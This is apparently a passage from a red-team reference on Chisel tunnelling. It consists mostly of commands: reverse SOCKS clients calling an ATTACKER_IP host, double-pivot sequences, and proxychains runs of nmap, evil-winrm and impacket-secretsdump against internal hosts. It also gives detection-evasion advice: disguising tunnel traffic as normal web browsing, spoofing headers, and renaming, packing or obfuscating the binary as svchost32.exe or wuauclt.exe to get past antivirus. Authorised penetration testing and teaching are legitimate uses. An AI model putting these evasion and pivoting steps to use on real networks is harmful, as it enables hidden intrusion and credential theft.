C:\Users\Public\chisel.exe client http://ATTACKER_IP:8080 R:135:INTERNAL_HOST:135

OPSEC Notes

Network traffic

  • Chisel traffic looks like WebSocket over HTTP/HTTPS — it blends with normal web traffic well.
  • The SSH encryption layer is inside the WebSocket; network inspection sees WebSocket frames, not SSH.
  • Use port 80 or 443 (--port 443 --tls-key/cert) to blend with normal web egress.
  • Use --backend on the server to make it double as a real reverse proxy — legitimate HTTP requests get proxied, chisel handshakes get tunneled. Makes it harder to fingerprint.
  • Use --header to add custom headers that match expected traffic patterns for the environment.
  • Use --hostname to fake the Host header if your traffic is being inspected at the app layer.
# Server doubles as legitimate reverse proxy — traffic blends with normal web
chisel server --port 443 --reverse --socks5 \
  --tls-key privkey.pem --tls-cert fullchain.pem \
  --backend http://real-website.com

# Client — looks like a browser hitting a normal HTTPS site
./chisel client \
  --header "User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" \
  --header "Accept: text/html,application/xhtml+xml,application/xml" \
  --hostname "real-website.com" \
  https://ATTACKER_IP:443 R:socks

Binary detection

  • Chisel is a well-known tool — AV/EDR will flag the default binary by signature.
  • Options: recompile with modified strings, use UPX (less effective), use Go's -ldflags to strip debug info.
  • Rename the binary to something innocuous (svchost32.exe, wuauclt.exe, update.exe).
  • Consider obfuscating with garble (Go code obfuscator).
# Strip debug info to reduce binary size and change hash
go build -ldflags="-s -w" -o chisel_stripped .

# Custom compile with changed version string
# Edit main.go or use ldflags to inject
go build -ldflags="-s -w -X main.version=1.0.0" -o update.exe .

# UPX pack (changes hash, may trigger some AVs)
upx --best chisel.exe -o chisel_packed.exe

Persistent keys

  • A new ECDSA key is generated every server restart by default → fingerprint changes → clients may fail.
  • Use --keyfile to persist the key so fingerprint stays stable across restarts.
  • Store the fingerprint and share it with your clients before deployment.

Auth vs no auth

  • Without --auth / --authfile, anyone who finds your server can use it as a SOCKS proxy.
  • Always use auth on real engagements. Use --tls-* to encrypt the transport.
  • Combine --authfile + fingerprint pinning on clients for maximum security.

Chisel vs Ligolo-ng Comparison

Feature Chisel Ligolo-ng
Transport HTTP/HTTPS (WebSocket) TCP/TLS (custom protocol)
Tunnel approach SOCKS5 proxy (proxychains) TUN interface (native routing)
Privileges required None on either side CAP_NET_ADMIN on proxy (attacker) side
Tool compatibility Needs proxychains prefix Tools work natively, no wrapper
ICMP/ping support No (SOCKS is TCP/UDP only) Yes (via TUN)
Raw socket tools Limited (must use -sT nmap) Full support
Binary size ~8MB ~12MB
Multi-hop Manual proxychains chaining Built-in listener relay
Setup complexity Very simple Slightly more setup
Windows native Yes (exe, no driver needed) Proxy side needs Wintun driver
UDP support Yes (explicit remote /udp) Yes (native)
Best for Quick pivots, firewalled envs, anywhere HTTP works Complex internal routing, tool-heavy ops

Summary: Use Chisel when you need fast deployment with zero setup friction. Use Ligolo-ng when you need full network-level access and want to run tools without proxychains wrapping.


Troubleshooting

Symptom Likely Cause / Fix
Client connects but SOCKS proxy isn't created Server missing --socks5 flag (for forward) or --reverse flag (for R:socks)
connection refused on SOCKS port Wrong port — check if chisel is listening with ss -tlnp \| grep chisel
nmap shows all hosts down through SOCKS Use -sT -Pn — ICMP and raw sockets don't work through SOCKS
Client disconnects immediately Fingerprint mismatch — remove --fingerprint temporarily to test, or regenerate
auth failed on client Wrong credentials — check --auth matches --authfile format
Slow speeds / high latency Normal for SOCKS through HTTP — use ligolo-ng for better throughput
Cannot reach pivot host's localhost Use a reverse port forward R:PORT:localhost:PORT to expose it
Double pivot not working Check both SOCKS proxies are running; use separate proxychains configs for each hop
Windows AV kills the binary Rename; recompile from source with stripped debug info; obfuscate
Server shows no fingerprint Running in Docker or version mismatch — check chisel server -v output
EOF / read tcp errors Firewall or proxy is dropping the WebSocket connection — try port 80/443 or HTTPS
v1.11.7+ SOCKS auth error Users need socks token in authfile ACL (or use "" wildcard)

Cheatsheet

Quick reference for the most common Chisel operations.

Server Startup

# Minimal — reverse SOCKS pivot
chisel server --port 8080 --reverse --socks5

# With auth
chisel server --port 8080 --reverse --socks5 --auth "user:pass"

# With TLS
chisel server --port 443 --reverse --socks5 \
  --tls-key privkey.pem --tls-cert fullchain.pem

# With Let's Encrypt
chisel server --port 443 --reverse --socks5 --tls-domain c2.example.com

# Blending with web traffic
chisel server --port 443 --reverse --socks5 --backend http://example.com \
  --tls-key privkey.pem --tls-cert fullchain.pem

# Persistent key
chisel server --keyfile chisel.key --port 8080 --reverse --socks5

Client Startup

# Reverse SOCKS — most common red team use
./chisel client http://ATTACKER:8080 R:socks

# Custom port
./chisel client http://ATTACKER:8080 R:1234:socks

# With auth
./chisel client --auth "user:pass" http://ATTACKER:8080 R:socks

# With fingerprint
./chisel client --fingerprint 'abc...=' http://ATTACKER:8080 R:socks

# HTTPS
./chisel client https://ATTACKER:443 R:socks
./chisel client --tls-skip-verify https://ATTACKER:443 R:socks

# Through an existing proxy (SOCKS chain)
./chisel client --proxy socks://PIVOT1:1080 http://ATTACKER:8081 R:socks

# Persistent reconnect
./chisel client --max-retry-count 0 http://ATTACKER:8080 R:socks

# Windows
.\chisel.exe client http://ATTACKER:8080 R:socks

Remote Syntax Quick Reference

# Forward (client opens local port)
PORT                          # 0.0.0.0:PORT → server's PORT
LPORT:RHOST:RPORT            # local:LPORT → RHOST:RPORT via server
socks                         # SOCKS5 on 127.0.0.1:1080
5000:socks                   # SOCKS5 on 127.0.0.1:5000

# Reverse (server opens port, routes through client)
R:PORT:localhost:PORT         # server:PORT → client's localhost:PORT
R:PORT:RHOST:RPORT           # server:PORT → RHOST:RPORT via client
R:socks                      # SOCKS5 on server's 127.0.0.1:1080
R:5000:socks                 # SOCKS5 on server's :5000

# UDP
LPORT:RHOST:RPORT/udp        # forward UDP
R:LPORT:localhost:RPORT/udp  # reverse UDP

# stdio
stdio:HOST:PORT               # SSH ProxyCommand

Proxychains Config

[ProxyList]
socks5 127.0.0.1 1080

Common Tool Commands Through Proxy

proxychains nmap -sT -Pn -p- INTERNAL_HOST
proxychains nmap -sT -Pn -sV -p 22,80,443,445,3389 192.168.1.0/24
proxychains evil-winrm -i INTERNAL_HOST -u admin -p pass
proxychains xfreerdp /v:INTERNAL_HOST /u:admin /p:pass
proxychains ssh user@INTERNAL_HOST
proxychains impacket-secretsdump domain/admin:pass@INTERNAL_HOST
proxychains netexec smb INTERNAL_HOST -u user -p pass
proxychains curl http://INTERNAL_HOST:8080/

Key Management

# Generate persistent key
chisel server --keygen /opt/chisel.key

# Start with persistent key (same fingerprint across restarts)
chisel server --keyfile /opt/chisel.key --port 8080 --reverse --socks5

# Get fingerprint from running server
# → printed on server startup to stdout

Double Pivot Quick Sequence

# Hop 1 — Attacker
chisel server --port 8080 --reverse --socks5
# → SOCKS5 on 127.0.0.1:1080

# Pivot 1
./chisel client http://ATTACKER:8080 R:socks

# Hop 2 — Attacker (second server on different port)
chisel server --port 8081 --reverse --socks5
# → SOCKS5 on 127.0.0.1:1081

# Pivot 2 (reached via Pivot 1's SOCKS)
./chisel client --proxy socks://PIVOT1_IP:SOCKS_PORT http://ATTACKER:8081 R:socks

# proxychains for deep network
# [ProxyList]
# socks5 127.0.0.1 1080
# socks5 127.0.0.1 1081
proxychains nmap -sT -Pn 172.16.0.0/24

References

  • GitHub: https://github.com/jpillora/chisel
  • Releases: https://github.com/jpillora/chisel/releases
  • Go Package Docs: https://pkg.go.dev/github.com/jpillora/chisel
  • Example authfile: https://github.com/jpillora/chisel/blob/master/example/users.json
  • Kali Tools Reference: https://www.kali.org/tools/chisel/
  • HTB Academy Pivoting Module: https://academy.hackthebox.com/module/details/158
  • 0xdf Chisel Cheatsheet: https://0xdf.gitlab.io/cheatsheets/chisel
  • Hackingarticles Detailed Guide: https://www.hackingarticles.in/chisel-port-forwarding-a-detailed-guide/

← Tool references top ↑